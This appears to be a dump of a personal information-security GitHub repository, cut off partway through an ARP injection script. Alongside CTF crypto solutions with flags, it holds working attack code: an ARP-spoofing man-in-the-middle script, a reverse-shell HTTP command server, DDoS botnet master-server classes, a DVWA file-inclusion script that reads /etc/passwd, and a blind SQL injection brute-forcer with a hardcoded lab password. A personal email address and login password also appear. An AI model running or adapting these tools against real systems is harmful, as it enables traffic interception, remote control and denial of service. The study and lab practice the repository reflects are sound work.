├── 209-project
├── sql.pyc
├── xss.pyc
├── .DS_Store
├── cmd_exe.pyc
├── geckodriver
├── Project
│ ├── xss.pyc
│ ├── cmd_exe.pyc
│ ├── main.py
│ ├── fi.py
│ ├── lfi.log
│ ├── xss.py
│ ├── cmd_exe.py
│ └── geckodriver.log
├── fileinclusion.pyc
├── __pycache__
│ ├── sql.cpython-36.pyc
│ ├── xss.cpython-36.pyc
│ ├── cmd_exe.cpython-36.pyc
│ └── fileinclusion.cpython-36.pyc
├── .idea
│ ├── misc.xml
│ ├── inspectionProfiles
│ │ └── profiles_settings.xml
│ ├── modules.xml
│ ├── 209-project.iml
│ └── workspace.xml
├── README.md
├── main.py
├── fileinclusion.py
├── sql.py
├── xss.py
└── cmd_exe.py
├── README.md
├── CTF
└── AlexCTF
│ ├── RE1.txt
│ ├── scripting1.py
│ ├── crypto1_zeroone.py
│ ├── crypto2_otp.py
│ ├── crypto4.py
│ └── crypto3.py
├── ArpPacketInjection
├── README.md
└── arp_packet_injection.py
├── Python-Server-For-ReverseShell
├── README.md
└── pythonserver.py
├── PacketSnifferUsingRawSockets
├── README.md
└── packetsniffrawsock.py
├── WebCrawler
├── README.md
└── webcrawler.py
├── ScanAllInputParams
├── README.md
└── crawlthroughInput.py
├── HackerOneAutomationScript
├── README.md
└── hackerone.py
├── Subnet_Scanner
├── README.md
├── subnetscanner_using_Scapy.py
└── subnetscanner.py
├── AudioStegnoUsingLSB
├── WavFileException.java
├── WriteUpdatedBytes.java
├── AudioStegno.java
└── WavFile.java
├── ManInTheMiddle
├── README.md
└── mitm.py
├── DistributedDenialOfService
├── server
│ ├── ThreadForCommands.java
│ ├── ThreadsForMultipleClients.java
│ └── MasterServer.java
└── client
│ └── BotClient.java
├── Natas_OTW_Scripts
└── natas15bruteForceBlindSQLI.py
├── SNC
└── sncprac.py
└── RSACommonModulusAttack
└── rsaattack.py
/209-project/sql.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/sql.pyc
--------------------------------------------------------------------------------
/209-project/xss.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/xss.pyc
--------------------------------------------------------------------------------
/209-project/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/.DS_Store
--------------------------------------------------------------------------------
/209-project/cmd_exe.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/cmd_exe.pyc
--------------------------------------------------------------------------------
/209-project/geckodriver:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/geckodriver
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Information-Security
2 | Projects related to Information security/Cyber security/Cryptography
3 |
--------------------------------------------------------------------------------
/209-project/Project/xss.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/Project/xss.pyc
--------------------------------------------------------------------------------
/209-project/fileinclusion.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/fileinclusion.pyc
--------------------------------------------------------------------------------
/209-project/Project/cmd_exe.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/Project/cmd_exe.pyc
--------------------------------------------------------------------------------
/209-project/__pycache__/sql.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/__pycache__/sql.cpython-36.pyc
--------------------------------------------------------------------------------
/209-project/__pycache__/xss.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/__pycache__/xss.cpython-36.pyc
--------------------------------------------------------------------------------
/209-project/__pycache__/cmd_exe.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/__pycache__/cmd_exe.cpython-36.pyc
--------------------------------------------------------------------------------
/209-project/__pycache__/fileinclusion.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/In3tinct/Information-Security/HEAD/209-project/__pycache__/fileinclusion.cpython-36.pyc
--------------------------------------------------------------------------------
/209-project/Project/main.py:
--------------------------------------------------------------------------------
1 | import xss as xss
2 | import cmd_exe as cmd
3 |
4 | if __name__ == "__main__":
5 | cmd.command()
6 | xss.xssAuto()
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/CTF/AlexCTF/RE1.txt:
--------------------------------------------------------------------------------
1 | 1)ltrace gifted
2 | It will provide us the info that the executable is
3 | using strcmp to compare the flag input,
4 |
5 | 2)To get the full flag use
6 | strings gifted | grep "AlexCTF"
--------------------------------------------------------------------------------
/ArpPacketInjection/README.md:
--------------------------------------------------------------------------------
1 | ARP packet injection in the network using raw sockets.
2 | Could be used in other modules such as subnet
3 | scanning or Arp poisoning.
4 |
5 | Programming language: Python
6 | Libraries used: Socket apis
--------------------------------------------------------------------------------
/Python-Server-For-ReverseShell/README.md:
--------------------------------------------------------------------------------
1 | Original author and credit goes to - https://subscription.packtpub.com/book/networking-and-servers/9781788838979/1/ch01lvl1sec12/http-reverse-shell
2 |
3 | I made some changes for python3.
4 |
--------------------------------------------------------------------------------
/209-project/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/209-project/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/PacketSnifferUsingRawSockets/README.md:
--------------------------------------------------------------------------------
1 | TCP/IP Packet Sniffer using raw sockets
2 |
3 | Language used:python
4 |
5 | Uses:
6 | Prints the details of
7 | -Ethernet Header (source and destination MAC addresses)
8 | -IP Header (IP addresses)
9 | -TCP/UDP Header (Ports)
10 | -And also HTTP and HTTPS data
11 |
--------------------------------------------------------------------------------
/209-project/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/WebCrawler/README.md:
--------------------------------------------------------------------------------
1 | A basic web crawler which uses queues and multithreading to
2 | crawl through all the links in a web page.
3 |
4 | Language used: Python
5 | Libraries: urllib2, BeautifulSoup
6 |
7 | Usage: python webcrawler.py http://www.google.com
8 |
9 | Extension: Need to work on searching for a specific word while crawling
10 |
--------------------------------------------------------------------------------
/209-project/README.md:
--------------------------------------------------------------------------------
1 | Automated Detection and exploitation four attacks on DVWA application. Details fetched from the application are logged in a Log file
2 | for each attack.
3 | 1) Command execution
4 | 2)Cross site scripting
5 | 3)SQL injection
6 | 4)File Inclusion
7 |
8 | Language used: Python
9 | Libraries: Selenium, Beautiful Soup
10 |
11 | Usage: Python main.py
12 |
--------------------------------------------------------------------------------
/ScanAllInputParams/README.md:
--------------------------------------------------------------------------------
1 | Crawls through all the URL within the same domain and prints URL with input parameters (Could be used for all type of Injection Attacks)
2 |
3 | No redirection of URL available as of now, open the url in browser and then enter the URL as below
4 |
5 | python3 crawlthroughInput.py COMPLETEURL
6 |
7 | For example
8 |
9 | python3 crawlthroughInput.py https://www.google.com
--------------------------------------------------------------------------------
/HackerOneAutomationScript/README.md:
--------------------------------------------------------------------------------
1 | This script could be run as a background process(Runs every 5 min.s, you can change it if you want), It relieves from the pain of opening hackerone again and again to check if any new program has been added.
2 |
3 | If any new bounty programs are added to HackerOne
4 | forum, it would automatically open an alert box
5 | and open the hackerone link in browser.
6 |
7 | Platform: Linux
8 | Scripting: Python
9 |
--------------------------------------------------------------------------------
/Subnet_Scanner/README.md:
--------------------------------------------------------------------------------
1 | A local subnet scanner it checks for all the host which
2 | are up, by sending the ARP request and checking what all hosts sends ARP reply back.
3 |
4 | Default interface used is eth0
5 |
6 | Environment: Linux
7 |
8 | Programming langugage: Python
9 |
10 | One program uses Scapy library While the other program uses Raw Sockets only(Needs a bit of refinement, responses differ sometimes)
11 | Libraries: Scapy, Netifaces, Netaddr
12 |
--------------------------------------------------------------------------------
/209-project/.idea/209-project.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/AudioStegnoUsingLSB/WavFileException.java:
--------------------------------------------------------------------------------
1 | package stegno;
2 |
3 | public class WavFileException extends Exception
4 | {
5 | public WavFileException()
6 | {
7 | super();
8 | }
9 |
10 | public WavFileException(String message)
11 | {
12 | super(message);
13 | }
14 |
15 | public WavFileException(String message, Throwable cause)
16 | {
17 | super(message, cause);
18 | }
19 |
20 | public WavFileException(Throwable cause)
21 | {
22 | super(cause);
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/ManInTheMiddle/README.md:
--------------------------------------------------------------------------------
1 | Sniffing the traffic of a particular host in the local
2 | network by spoofing the ARP packet using raw sockets.
3 |
4 | Default interface used: eth0
5 | Platform: Linux
6 | Language: Python
7 |
8 | Test: a) Run the script and use urlsnarf to monitor the web traffic.
9 | b)Can be run concurrently with the dnsspoof tool which can be used for dns spoofing.
10 |
11 | Extensions TODO: Will be implementing web request monitoring within the project. Also DNS spoofing would be introduced.
12 |
--------------------------------------------------------------------------------
/CTF/AlexCTF/scripting1.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import time
3 |
4 | sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
5 |
6 | sock.connect(('195.154.53.62',1337))
7 | #FLag ALEXCTF{1_4M_l33t_b0t}
8 | while True:
9 | data=sock.recv(1024)
10 | if data:
11 | print data
12 | totalLines= data.count('\n')
13 | calculate= data.splitlines()[totalLines-1]
14 | #print calculate
15 | calculate= calculate.replace('=','')
16 | answer=eval(calculate)
17 | print str(answer)
18 | sock.send(str(answer)+'\r\n')
19 | #time.sleep(4)
20 | else:
21 | print "Closing"
22 | sock.close()
23 |
24 |
25 |
--------------------------------------------------------------------------------
/CTF/AlexCTF/crypto1_zeroone.py:
--------------------------------------------------------------------------------
1 | import time
2 | replacements = {'ZERO':'0', 'ONE':'1'}
3 |
4 | #ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}
5 | with open('zero_one') as infile, open('one', 'w') as outfile:
6 | for line in infile:
7 | for src, target in replacements.iteritems():
8 | line = line.replace(src, target)
9 | print len(line)
10 | #print line.replace(' ','')
11 | print "tada"
12 | print len(line)
13 | outfile.write(line)
14 |
15 |
16 | champ=line.decode('ascii')
17 | print "cha"
18 | print champ
19 | #''.join(chr(int(line[i:i+8], 2)) for i in xrange(0, len(line), 8))
20 |
--------------------------------------------------------------------------------
/DistributedDenialOfService/server/ThreadForCommands.java:
--------------------------------------------------------------------------------
1 | package server;
2 |
3 | import java.util.Scanner;
4 |
5 | public class ThreadForCommands extends Thread{
6 |
7 | MasterServer master=new MasterServer();
8 |
9 | public void run(){
10 | Scanner input = new Scanner(System.in);
11 | System.out.println("Input your command master");
12 |
13 | while (input.hasNextLine()) {
14 | String command=input.nextLine();
15 |
16 | if(command.contains("disconnect")){
17 | master.disconnect(command);
18 | }else if(command.contains("connect")){
19 | master.attack(command);
20 | }else if(command.contains("list")){
21 | master.listBots();
22 | }
23 | }
24 | }
25 |
26 | }
27 |
--------------------------------------------------------------------------------
/Natas_OTW_Scripts/natas15bruteForceBlindSQLI.py:
--------------------------------------------------------------------------------
1 |
2 | import requests
3 |
4 | possiblechars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
5 | sqliAttack="http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/"
6 | userExist = 'This user exists.'
7 | validCharsinPassword=''
8 | password=''
9 |
10 | r=requests.get(sqliAttack)
11 | print("Starting attack")
12 |
13 | for c in possiblechars:
14 | r=requests.get(sqliAttack+'?username=natas16" and password LIKE BINARY "%'+c+'%" "')
15 |
16 | if(r.content.find(userExist)!=-1):
17 | validCharsinPassword+=c
18 | print 'valid chars:' + validCharsinPassword
19 |
20 | # Assuming password is 32 characters long
21 | for i in range(32):
22 | for c in validCharsinPassword:
23 | r=requests.get(sqliAttack+'?username=natas16" and password LIKE BINARY "'+password+c+'%" "')
24 | if(r.content.find(userExist)!=-1):
25 | password+=c
26 | print 'password:' + password
27 | break;
28 |
29 |
--------------------------------------------------------------------------------
/DistributedDenialOfService/server/ThreadsForMultipleClients.java:
--------------------------------------------------------------------------------
1 | package server;
2 |
3 | import java.io.BufferedOutputStream;
4 | import java.io.IOException;
5 | import java.io.OutputStreamWriter;
6 | import java.net.Socket;
7 |
8 | public class ThreadsForMultipleClients extends Thread {
9 |
10 | private Socket clientSocket;
11 |
12 | public ThreadsForMultipleClients(Socket connection) {
13 | clientSocket = connection;
14 | }
15 |
16 | public void run() {
17 | int n;
18 |
19 | String isRegister="You have been registered"+" "+(char)13;
20 | BufferedOutputStream os;
21 | try {
22 | os = new BufferedOutputStream(clientSocket.getOutputStream());
23 | OutputStreamWriter osw = new OutputStreamWriter(os, "US-ASCII");
24 | osw.write(isRegister);
25 | osw.flush();
26 | //If we close the stream the socket gets closed too
27 | //os.close();
28 | } catch (IOException e) {
29 | // TODO Auto-generated catch block
30 | e.printStackTrace();
31 | }
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/AudioStegnoUsingLSB/WriteUpdatedBytes.java:
--------------------------------------------------------------------------------
1 | package stegno;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.File;
5 |
6 | import javax.sound.sampled.AudioFileFormat;
7 | import javax.sound.sampled.AudioFormat;
8 | import javax.sound.sampled.AudioInputStream;
9 | import javax.sound.sampled.AudioSystem;
10 |
11 | public class WriteUpdatedBytes
12 | {
13 | public void main(byte [] res)
14 | {
15 |
16 | byte[] pcm_data = res;
17 |
18 | AudioFormat frmt = new AudioFormat(44100, 16, 2, false, false);
19 | AudioInputStream ais = new AudioInputStream(
20 | new ByteArrayInputStream(pcm_data), frmt,
21 | pcm_data.length / frmt.getFrameSize()
22 | );
23 |
24 | try {
25 | AudioSystem.write(ais, AudioFileFormat.Type.WAVE, new
26 | File("C:\\Users\\Vaibhav\\Desktop\\cellowithhiddenmessage.wav")
27 | );
28 | System.out.println("New wav file with hidden information generated");
29 | }
30 | catch(Exception e) {
31 | e.printStackTrace();
32 | }
33 |
34 |
35 | }
36 |
37 | }
38 |
39 |
--------------------------------------------------------------------------------
/209-project/main.py:
--------------------------------------------------------------------------------
1 | import xss as xss
2 | import cmd_exe as cmd
3 | import sql as sql
4 | import fileinclusion as fileinclusion
5 | import sys
6 |
7 | if __name__ == "__main__":
8 |
9 | print "enter the IP of the node which you want to exploit"
10 | dest = raw_input()
11 | IP = "http://" + dest
12 |
13 |
14 | print "choose the following attacks from menu"
15 | print "Menu :"
16 | print "\t 1. Command execution"
17 | print "\t 2. Cross site scripting"
18 | print "\t 3. SQL injection"
19 | print "\t 4. File Inclusion"
20 | print "\t 5. To exit"
21 |
22 | choice = int(raw_input())
23 |
24 | if choice <1 or choice >5:
25 | print "wrong choice entered, try again"
26 |
27 | elif choice == 1:
28 | cmd.command(IP)
29 | elif choice == 2:
30 | xss.xssAuto(IP)
31 | elif choice == 3:
32 | sql.sqlinjection(IP)
33 | elif choice == 4:
34 | fileinclusion.fileinclusion(IP)
35 | elif choice == 5:
36 | pass
37 |
38 | print "exiting the application"
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/209-project/Project/fi.py:
--------------------------------------------------------------------------------
1 | from selenium import webdriver
2 | from selenium.webdriver.common.keys import Keys
3 | from selenium.webdriver.support.ui import Select
4 | from bs4 import BeautifulSoup
5 | import requests
6 |
7 | import time
8 | import urllib2
9 |
10 | timeToSleep=1
11 |
12 | # create a new Firefox session
13 | driver = webdriver.Firefox()
14 | #driver.implicitly_wait(10)
15 | driver.maximize_window()
16 |
17 | # navigate to the application home page
18 | driver.get("http://192.168.147.135/dvwa/login.php")
19 |
20 | # get the search textbox
21 | username = driver.find_element_by_name("username")
22 | password=driver.find_element_by_name("password")
23 |
24 | # enter search keyword and submit
25 | username.send_keys("admin")
26 | password.send_keys("password")
27 | login=driver.find_element_by_name("Login")
28 | time.sleep(timeToSleep)
29 | login.click()
30 | time.sleep(timeToSleep)
31 | driver.get("http://192.168.147.135/dvwa/vulnerabilities/fi/?page=include.php")
32 | time.sleep(timeToSleep)
33 |
34 | Url= driver.current_url
35 | print Url
36 | newUrl = Url.replace("include.php","/etc/passwd")
37 | print newUrl
38 | driver.get(newUrl)
39 | #driver.get("http://192.168.147.135/dvwa/vulnerabilities/fi/?page=/etc/passwd")
40 | time.sleep(timeToSleep)
41 |
42 | fp=open('lfi.log','w')
43 | html = driver.page_source
44 | soup = BeautifulSoup(html)
45 |
46 | for tag in soup.find_all('body'):
47 | fp.write(tag.text)
48 |
49 |
--------------------------------------------------------------------------------
/CTF/AlexCTF/crypto2_otp.py:
--------------------------------------------------------------------------------
1 | comeon=[]
2 |
3 | def convert_to_ascii(text):
4 | return "".join(str(ord(char)) for char in text)
5 | length=0
6 | with open('./Challenges/msg') as file:
7 | for f in file:
8 | f=f[:-1]
9 | #print f
10 | #print len(f)
11 | comeon.append(f)
12 | comeoneCopy=comeon
13 | xoredCipherText=[]
14 | from binascii import unhexlify, hexlify
15 | for data in comeon:
16 | for data1 in comeoneCopy:
17 | #data=hex(data)
18 | #data1=hex(data1)
19 | s1=data
20 | s2=data1
21 | #print s1
22 | #print s2
23 | xored= hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1[-len(s2):]), unhexlify(s2))))
24 | #print xored
25 | xoredCipherText.append(xored)
26 | break;
27 | print "-----------------Round completed----------------"
28 |
29 | del xoredCipherText[0]
30 |
31 | #Guessing the word "the"
32 |
33 | guessHex=hexlify(b'Dear Friend')
34 |
35 | count=0
36 |
37 | #First taking out all the xored cipher text and trying to xor it with guess word
38 | #and then cribbing it on the next position of the cipher text xor and so on
39 |
40 | #First position and then so on
41 | for i in range(0,15):
42 | #Iterating over the xors of cipher text
43 | for j in xoredCipherText:
44 | print j
45 | #Trimming the xor of cipher text(which becomes XOR of plaintext as well)
46 | #to the size of the word we are using for crib dragging
47 | j=j[i:(len(guessHex)+i)]
48 | print j
49 | print guessHex
50 |
51 | xoredWithGuess= hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(j[-len(guessHex):]), unhexlify(guessHex))))
52 | #Converting the hex to its ascii value
53 |
54 |
55 | print xoredWithGuess
56 | hextoascii=str(xoredWithGuess).decode("hex")
57 |
58 | print hextoascii
59 | print "-------------------------------------"
60 | break
61 |
--------------------------------------------------------------------------------
/SNC/sncprac.py:
--------------------------------------------------------------------------------
1 | import mechanize
2 |
3 | #Mechanize a great tool which emulates the browser by maintaing state of the http request
4 | object=mechanize.Browser()
5 |
6 | object.open("http://ec2-34-207-132-244.compute-1.amazonaws.com/users/sign_in")
7 |
8 | for form in object.forms():
9 | print form
10 |
11 | #Selecting the form and providing it with username and password
12 | object.select_form(nr=0)
13 | object.form['user[email]']='vaibhav.agrawal0289@gmail.com'
14 | object.form['user[password]']='test123'
15 |
16 | #Submitting the form
17 | object.submit()
18 |
19 | #print object.response().read()
20 |
21 |
22 | #Setting the values be sent
23 | date='2017-04-07'
24 | sessionId='3dayy6mx-khpt-17j4nkj3-6swm4a8gbtp57m2y'
25 |
26 | #Calculating hash Mac
27 | from hashlib import sha1
28 | import binascii
29 | import hmac
30 | hashedMac=hmac.new(date, sessionId, sha1).digest()
31 | #Converting the binary into hexadecimal
32 | hashedMac2=binascii.hexlify(hashedMac)
33 | print hashedMac2
34 |
35 |
36 | #Clicking the link
37 | level3= object.click_link(text='Level Three')
38 | print "--------------"
39 | #print object._ua_handlers['_cookies'].cookiejar
40 |
41 | #Setting the headers
42 | object.addheaders = [('X-Authorization-Date', date),
43 | ('X-Session-Id', sessionId),
44 | ('X-Signature-AllComp', hashedMac2)]
45 |
46 | import re
47 |
48 | while 1:
49 |
50 | object.open(level3)
51 | print object.geturl()
52 |
53 | #request = object.request
54 | #print "Header Items"
55 | #print request.header_items()
56 | #print object.response().read()
57 |
58 | # If the string The Password for this level is, is present(Assuming like previous challenges), that shall be the page
59 | # we are looking for
60 | count = sum(1 for _ in re.finditer(r'\b%s\b' % re.escape("The Password for this level is"), object.response().read()))
61 | print count
62 | if (count==1):
63 | #Printing the entire response to see the password.
64 | print object.response().read()
65 | break
66 |
67 | print "Found"
68 |
--------------------------------------------------------------------------------
/Python-Server-For-ReverseShell/pythonserver.py:
--------------------------------------------------------------------------------
1 | # Basic HTTP Server
2 |
3 |
4 | from http.server import BaseHTTPRequestHandler, HTTPServer
5 | import base64
6 |
7 | HOST_NAME = '0.0.0.0' # Kali IP address
8 | PORT_NUMBER = 80 # Listening port number
9 |
10 |
11 | class MyHandler(BaseHTTPRequestHandler): # MyHandler defines what we should do when we receive a GET/POST request
12 | # from the client / target
13 |
14 | def do_GET(s):
15 | #If we got a GET request, we will:-
16 | command = input("Shell> ") #take user input
17 | s.send_response(200) #return HTML status 200 (OK)
18 | s.send_header("Content-type", "text/html") # Inform the target that content type header is "text/html"
19 | s.end_headers()
20 | s.wfile.write(bytes(command,"utf-8")) #send the command which we got from the user input
21 |
22 |
23 | def do_POST(s):
24 | #If we got a POST, we will:-
25 | s.send_response(200) #return HTML status 200 (OK)
26 | s.end_headers()
27 | length = int(s.headers['Content-Length']) #Define the length which means how many bytes the HTTP POST data contains, the length
28 | #value has to be integer
29 | print("Length"+str(length))
30 | postVar = s.rfile.read(length) # Read then print the posted data
31 | print( base64.b64decode(postVar).decode('UTF-8'))
32 |
33 |
34 |
35 | if __name__ == '__main__':
36 |
37 |
38 | # We start a server_class and create httpd object and pass our kali IP,port number and class handler(MyHandler)
39 |
40 | server_class = HTTPServer
41 | httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
42 |
43 |
44 |
45 | try:
46 | httpd.serve_forever() # start the HTTP server, however if we got ctrl+c we will Interrupt and stop the server
47 | except KeyboardInterrupt:
48 | print('[!] Server is terminated')
49 | httpd.server_close()
50 |
51 |
--------------------------------------------------------------------------------
/CTF/AlexCTF/crypto4.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import base64
3 | import struct
4 |
5 | #Given public key file pub.key and flag.b64
6 | #ALEXCTF{SMALL_PRIMES_ARE_BAD}
7 | def gcd(p1, p2):
8 | while p1 != 0:
9 | p1, p2 = p2 % p1, p1
10 | return p2
11 |
12 |
13 | def modInverse(p1, m):
14 |
15 | #Checking if p1 and M are relatively prime if not then there could be no mod inverse
16 | if gcd(p1, m) != 1:
17 | return None
18 |
19 | par1, par2, par3 = 1, 0, p1
20 | par4, par5, par6 = 0, 1, m
21 | while par6 != 0:
22 | q = par3 // par6 # // is the integer division operator
23 | par4, par5, par6, par1, par2, par3 = (par1 - q * par4), (par2 - q * par5), (par3 - q * par6), par4, par5, par6
24 | return par1 % m
25 |
26 |
27 |
28 |
29 | # Using open ssl on file pub.key
30 | #openssl rsa -pubin -noout -text < key.pub
31 | #get the second field from the public key file which is modulus and first one is#encryption key
32 | modulus=833810193564967701912362955539789451139872863794534923259743419423089229206473091408403560311191545764221310666338878019L
33 |
34 |
35 | #Using factorDB to get the factors of modulus so we get
36 | p=863653476616376575308866344984576466644942572246900013156919
37 | q=965445304326998194798282228842484732438457170595999523426901
38 | e=65537
39 |
40 | phi=(p-1)*(q-1)
41 |
42 | d=modInverse(e,phi)
43 | print "Decryption key"
44 | print d
45 |
46 | #flag given in flag.b64 file
47 | flag='Ni45iH4UnXSttNuf0Oy80+G5J7tm8sBJuDNN7qfTIdEKJow4siF2cpSbP/qIWDjSi+w='
48 | import base64
49 |
50 | decoded=base64.b64decode(flag)
51 |
52 | #Used rsacrack.py to do (flag^d mod modulus)
53 | #base64 -d ./Challenges/flag.b64 | python rsacrack.py -d 33ad09ca06f50f9e90b1acae71f390d6b92f1d6d3b6614ff871181c4df08da4c5f5012457a64309405eaecd6341e43027931 52a99e249ee7cf3c0cbf963a009661772bc9cdf6e1e3fbfc6e44a07a5e0f894457a9f81c3ae132ac5683d35b28ba5c324243
54 |
55 |
56 | print decoded
57 | from string import *
58 | #print atol(decoded,16)
59 |
60 | #text=struct.unpack("!50s",decoded)
61 | #print text
62 |
63 | plaintext=pow(decoded,d,modulus)
64 | #print plaintext
65 |
--------------------------------------------------------------------------------
/ManInTheMiddle/mitm.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import sys
3 | import struct
4 | import time
5 | import binascii
6 | import os
7 | import subprocess
8 | import netifaces
9 | import re
10 |
11 | #function to get mac of victim and gateway, arp injection could have been used too
12 | #but this is easier, also scapy could have been used
13 | #it gives a ping request and then picks the mac from arp table on local machine
14 | def getmac(ip):
15 | response = os.system("ping -c 1 -w2 " + ip + " > /dev/null 2>&1")
16 | if response==0:
17 | processId = subprocess.Popen(["arp", "-n", ip], stdout=subprocess.PIPE)
18 | s = processId.communicate()[0]
19 | mac = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0]
20 | mac=mac.replace(':','')
21 | return mac
22 | else:
23 | return 0
24 |
25 | victimIp=raw_input("Please enter victim IP:")
26 | gatewayIp=raw_input("Please enter Gateway IP:")
27 |
28 | victimMac=binascii.unhexlify(getmac(victimIp))
29 |
30 | gatewayMac=binascii.unhexlify(getmac(gatewayIp))
31 |
32 | eth_address=netifaces.ifaddresses("eth0")
33 | attackerIp=eth_address[2][0]['addr']
34 | attackerMac=binascii.unhexlify(eth_address[17][0]['addr'].replace(':',''))
35 |
36 | print "\n[*] Enabling IP Forwarding...\n"
37 | os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
38 | rawsock=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(0x0003))
39 |
40 | rawsock.bind(('eth0',socket.htons(0x0800)))
41 | #Injecting the arp request
42 | while 1:
43 | #Spoofing as gateway and sending arp reply packet to victim
44 | arp_packet_toVictim=struct.pack("!6s6s2s2s2s1s1s2s6s4s6s4s",victimMac,
45 | attackerMac,"\x08\x06","\x00\x01","\x08\x00","\x06","\x04",\
46 | "\x00\x02", attackerMac,gatewayIp, victimMac, victimIp)
47 |
48 | #Spoofing as victim and sending arp reply packet to gateway
49 | arp_packet_toGateway=struct.pack("!6s6s2s2s2s1s1s2s6s4s6s4s",gatewayMac,
50 | attackerMac,"\x08\x06","\x00\x01","\x08\x00","\x06","\x04",\
51 | "\x00\x02", attackerMac,victimIp, gatewayMac, gatewayIp)
52 |
53 | print "Injecting ARP packets in interval of 1.5 seconds"
54 | rawsock.send(arp_packet_toVictim)
55 | rawsock.send(arp_packet_toGateway)
56 |
57 | time.sleep(1.5)
58 |
--------------------------------------------------------------------------------
/Subnet_Scanner/subnetscanner_using_Scapy.py:
--------------------------------------------------------------------------------
1 | #A simple subnet host scanner using python and scapy library
2 |
3 | from scapy.all import *
4 | import netifaces
5 | #from netaddr import IPNetwork
6 | import netaddr
7 | import re
8 |
9 | #Calculating the CIDR of the netmask
10 | def calculateCIDR(networkmask):
11 | binary_str = ''
12 | for octet in networkmask:
13 | binary_str += bin(int(octet))[2:].zfill(8)
14 | return str(len(binary_str.rstrip('0')))
15 |
16 | #To find local ip address and net mask
17 | eth_address=netifaces.ifaddresses("eth0")
18 | ip_and_mask = eth_address[socket.AF_INET][0]
19 |
20 | print "Your IP address: "+ip_and_mask['addr']
21 | print "Your net mask: "+ip_and_mask['netmask']
22 |
23 | #All of this is not of use anymore, but still kept to print network address
24 | #It finds network address which can be used to search the network
25 | #A general method is to XOR the mask and ip address to get network address
26 | concat_value=str(ip_and_mask['addr']+"/"+ip_and_mask['netmask'])
27 | network_address=str(netaddr.IPNetwork(concat_value).cidr)
28 | #network_address was having CIDR appeneded to it so removing it
29 | network_ip=re.sub(r'\s', '', network_address).split('/')
30 | print "Your network address is:"+network_ip[0]
31 |
32 |
33 | #New addition
34 | #Formatting IP and CIDR to fetch the list of IP in the subnet
35 | ip_and_cidr = ip_and_mask['addr']+'/'+calculateCIDR(ip_and_mask['netmask'].split('.'))
36 |
37 | #Gives a list of all hosts in the network
38 | network_range = list(netaddr.IPNetwork(ip_and_cidr))
39 |
40 | #Removing network and broadcast address
41 | del network_range[0]
42 | network_range.pop()
43 |
44 | print "********************Scanning********************"
45 |
46 | for ip in network_range:
47 | formatted_ip=str(ip)
48 |
49 | #Creating an arp request, ethernet packet mush have broadcast address as
50 | #destination address as it would broadcast to all host, ARP hwdst could #be anything, since only the ip
51 | #matters here, arp reply will have the mac of the host in return
52 | arpRequest=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=formatted_ip,hwdst="00:00:00:00:00:00")
53 | arpResponse=srp1(arpRequest,timeout=2,verbose=0)
54 | if arpResponse:
55 | print "Host is up, IP:"+arpResponse.psrc+" MAC: "+arpResponse.hwsrc
56 |
57 | print "Scanning completed"
58 |
--------------------------------------------------------------------------------
/ArpPacketInjection/arp_packet_injection.py:
--------------------------------------------------------------------------------
1 | #A simple subnet host scanner using python and scapy library
2 |
3 | import socket
4 | import netifaces
5 | #from netaddr import IPNetwork
6 | import netaddr
7 | import re
8 | from uuid import getnode as get_mac
9 | import struct
10 | import binascii
11 |
12 | #Calculating the CIDR of the netmask
13 | def calculateCIDR(networkmask):
14 | binary_str = ''
15 | for octet in networkmask:
16 | binary_str += bin(int(octet))[2:].zfill(8)
17 | return str(len(binary_str.rstrip('0')))
18 |
19 | #Binding the socket with the ethernet port and ip protocol
